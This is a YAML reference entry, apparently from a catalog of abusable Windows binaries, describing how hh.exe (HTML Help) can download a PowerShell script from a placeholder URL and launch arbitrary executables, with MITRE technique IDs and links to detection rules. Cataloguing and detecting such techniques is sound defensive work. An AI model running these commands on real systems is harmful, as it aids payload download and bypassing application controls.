---
Name: Hh.exe
Description: Binary used for processing chm files in Windows
Author: 'Oddvar Moe'
Created: 2018-05-25
Commands:
  - Command: HH.exe http://some.url/script.ps1
    Description: Open the target PowerShell script with HTML Help.
    Usecase: Download files from url
    Category: Download
    Privileges: User
    MitreID: T1105
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  - Command: HH.exe c:\windows\system32\calc.exe
    Description: Executes calc.exe with HTML Help.
    Usecase: Execute process with HH.exe
    Category: Execute
    Privileges: User
    MitreID: T1218.001
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Full_Path:
  - Path: C:\Windows\hh.exe
Code_Sample:
  - Code:
Detection:
  - Sigma: https://github.com/SigmaHQ/sigma/blob/ff0f1a0222b5100120ae3e43df18593f904c69c0/rules/windows/process_creation/win_hh_chm.yml
  - Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_html_help_spawn.yml
  - Elastic: https://github.com/elastic/detection-rules/blob/ef7548f04c4341e0d1a172810330d59453f46a21/rules/windows/execution_via_compiled_html_file.toml
  - Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/execution_html_help_executable_program_connecting_to_the_internet.toml
  - Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_html_help_spawn_child_process.yml
  - Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_html_help_url_in_command_line.yml
Resources:
  - Link: https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/
Acknowledgement:
  - Person: Oddvar Moe
    Handle: '@oddvarmoe'
---